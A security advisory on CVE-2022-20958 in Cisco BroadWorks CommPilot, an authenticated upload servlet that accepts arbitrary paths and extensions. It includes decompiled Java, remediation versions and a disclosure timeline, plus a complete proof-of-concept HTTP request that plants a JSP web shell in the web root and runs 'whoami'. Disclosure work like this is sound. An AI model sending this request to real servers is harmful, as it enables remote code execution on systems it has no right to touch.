Cisco BroadWorks CommPilot Application Software Authenticated Remote Code Execution (CVE-2022-20958)

Summary

The Cisco BroadWorks CommPilot Application allows authenticated users to upload configuration files on the platform. The lack of file validation and a broken access control on the vulnerable upload serverlet allows any authenticated user to upload a file which could be abused to run arbitrary code on the server.

Product Description (from vendor)

“Cisco BroadWorks is an enterprise-grade calling and collaboration platform delivering unmatched performance, security and scale.”

For more information visit https://www.cisco.com/c/en/us/products/unified-communications/broadworks/index.html.

CVE(s)

Details

Root Cause Analysis

The application implements the DefaultSNAPConfigFileUploaderServlet servlet which is meant to allow Service Provider users to upload SNAP configuration. The servlet accepts POST requests specifying a file, the file name, and the path where this file will be saved server-side. The servlet does not impose any restriction on the extension and the path.

59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
@Override
    protected void processParameters(MultipartRequest multipartRequest, WebClientSession webClientSession, StringBuffer stringBuffer, StringBuffer stringBuffer2, StringBuffer stringBuffer3) {
        String string;
        boolean bl = true;
        String configFileName_fr = null;
        String action_fr = multipartRequest.getParameter("action");
        try {
            String string4;
            String string5;
            this.snapDirectoryPath = multipartRequest.getParameter("configFileDir");
            string = multipartRequest.getParameter("autoConfigValue");
            action_fr = multipartRequest.getParameter("action");
            configFileName_fr = multipartRequest.getParameter("configFileName");
            String string6 = multipartRequest.getParameter("deviceType");
            webClientSession.setParameter("action", action_fr);
            webClientSession.setParameter("deviceType", string6);
            String string7 = multipartRequest.getParameter("redirectPage");
            File file = new File(this.snapDirectoryPath);
            if (!file.exists()) {
                file.mkdirs();
            }

At line 68, the directory sent in the configFileDir parameter is stored inside the snapDirectoryPath variable.

At line 71, the file name sent in the configFileName parameter is stored inside the configFileName_fr variable.

At line 76, the directory stored in the snapDirectoryPath variable is created if it doesn’t exist.

86
87
            UploadedFile uploadedFile = multipartRequest.getFile("fileName");
            if (string5.equalsIgnoreCase("true") || uploadedFile != null) {

At line 86, the file from the multipart HTTP request is stored inside the uploadedFile variable.

 99
100
101
            if (uploadedFile != null) {
                if (file.exists()) {
                    this.save(configFileName_fr, uploadedFile.data);

At line 101, the function save is called with the file name (configFileName_fr) and the file content (uploadedFile.data).

The function save writes the file content in the chosen path with the chosen file name.

190
191
192
193
194
195
196
197
198
199
200
201
202
203
    public void save(String string, byte[] byArray) throws Exception {
        File file = new File(this.snapDirectoryPath + string);
        try {
            FileOutputStream fileOutputStream = new FileOutputStream(file);
            BufferedOutputStream bufferedOutputStream = new BufferedOutputStream(fileOutputStream, byArray.length);
            bufferedOutputStream.write(byArray, 0, byArray.length);
            bufferedOutputStream.flush();
            bufferedOutputStream.close();
            fileOutputStream.close();
        }
        catch (IOException iOException) {
            throw new Exception("Unable to upload config file");
        }
    }

Proof of Concept

  1. Log into the portal via a user with any role
  2. Obtain the JSESSIONID cookie
  3. Replicate the following request after replacing the <valid_jsessionid> placeholder with the JSESSIONID obtained at step 2, the <version> placeholder with the version of the application (e.g. CommPilot_23.0_1.1075) and the <domain> placeholders with the domain or ip of the application:
POST /servlet/DefaultSNAPConfigFileUploaderServlet HTTP/1.1
Host: <domain>
Cookie: JSESSIONID=<valid_jsessionid>
Content-Length: 70104
Origin: https://<domain>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary83LfGf9LGTZB4omB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Referer: https://<domain>/ServiceProvider/DefaultConfig/Nested/Files/Modify/index.jsp?key=credenziali

------WebKitFormBoundary83LfGf9LGTZB4omB
Content-Disposition: form-data; name="configFileDir"

/usr/local/broadworks/apps/<version>/Login/
------WebKitFormBoundary83LfGf9LGTZB4omB
Content-Disposition: form-data; name="autoConfigValueNull"

1337
------WebKitFormBoundary83LfGf9LGTZB4omB
Content-Disposition: form-data; name="action"

Save
------WebKitFormBoundary83LfGf9LGTZB4omB
Content-Disposition: form-data; name="configFileName"

Shielder.jsp
------WebKitFormBoundary83LfGf9LGTZB4omB
Content-Disposition: form-data; name="deviceType"

Operator+console
------WebKitFormBoundary83LfGf9LGTZB4omB
Content-Disposition: form-data; name="modeChange"

false
------WebKitFormBoundary83LfGf9LGTZB4omB
Content-Disposition: form-data; name="redirectPage"

AAAAAA
------WebKitFormBoundary83LfGf9LGTZB4omB
Content-Disposition: form-data; name="referPage"

/ServiceProvider/DefaultConfig/Nested/Files/Modify/index.jsp?key=credenziali
------WebKitFormBoundary83LfGf9LGTZB4omB
Content-Disposition: form-data; name="configurationMode"


------WebKitFormBoundary83LfGf9LGTZB4omB
Content-Disposition: form-data; name="configurationMode"

Custom
------WebKitFormBoundary83LfGf9LGTZB4omB
Content-Disposition: form-data; name="fileName"; filename="poc.jsp"
Content-Type: application/octet-stream

<%@ page import="java.util.*,java.io.*,java.net.*"%>
<% %>
<HTML><BODY>
    <h1>POC - RCE - SHIELDER</h1>
<%
        out.println("Command: " + "whoami" + "\n<BR>");
        Process p = Runtime.getRuntime().exec("/bin/bash -c whoami");
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); disr = dis.readLine(); }
%>
</BODY></HTML>
------WebKitFormBoundary83LfGf9LGTZB4omB--
  1. Visit the following URL after replacing the <domain> with the one of the target: https://<domain>/Login/Shielder.jsp
  2. Notice that the output of the system command whoami is returned in response

Impact

An attacker can use this feature to upload files with arbitrary content and extension within the server’s web root. Specifically, by uploading files with a jsp extension allows an attacker to obtain arbitrary command execution on the host system.

Remediation

Upgrade Cisco BroadWorks CommPilot Application to CommPilot-23 version 2022.10_1.313 or CommPilot-24 version 2022.10_1.313 or CommPilot-25 version 2022.10_1.313 or higher.

Official reference: https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-broadworks-ssrf-BJeQfpp.html

Disclosure Timeline

This report was subject to Shielder’s disclosure policy:

  • 13/09/2022: Shielder’s team detects the vulnerability during a Security Assessment for one of its customers
  • 13/09/2022: Shielder’s customer opens a ticket to Cisco
  • XX/09/2022: Cisco acknowledges the security issue
  • XX/09/2022: Cisco releases a patch for Shielder’s customer
  • 02/11/2022: Cisco advisory is made public (https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-broadworks-ssrf-BJeQfpp.html)
  • 21/12/2022: Shielder’s advisory is made public

Credits

This advisory was first published on https://www.shielder.com/advisories/cisco-broadworks-commpilot-authenticated-remote-code-execution/

Date

21 December 2022